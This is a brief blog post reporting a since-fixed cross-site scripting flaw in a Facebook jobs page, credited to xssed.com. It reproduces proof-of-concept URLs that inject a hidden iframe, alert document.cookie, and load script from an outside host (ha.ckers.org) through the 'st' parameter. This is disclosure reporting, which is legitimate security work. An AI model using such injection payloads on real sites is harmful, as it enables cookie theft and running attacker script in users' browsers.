Facebook Hack: XSS Vulnerability (fixed on the 23/05/2008)

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This new vulnerability uses a XSS (Cross-Site Scripting) technique to obtain sensitive information from Facebook users and even allows to execute malicious script code on the user computer.

xssed.com who announced (author: Mox) that vulnerability give you good samples of how it works.

Redirection sample:

http://www.xssed.com/mirror/34274/

or

Insertion in a hidden iframe:

http://www.facebook.com/jobs/position.php?st=%22%3E%3Ciframe%20src=http://xssed.com%3E%3C/iframe%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

http://www.facebook.com/jobs/position.php?st=%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E

According to Dimitris Pagkalos from xssed.com:

“I’m quite sure there are more cross-site scripting issues on Facebook. It is only a matter of time for the next one to be discovered by a security conscious individual.”

Source page

Other sources:

www.allfacebook.com

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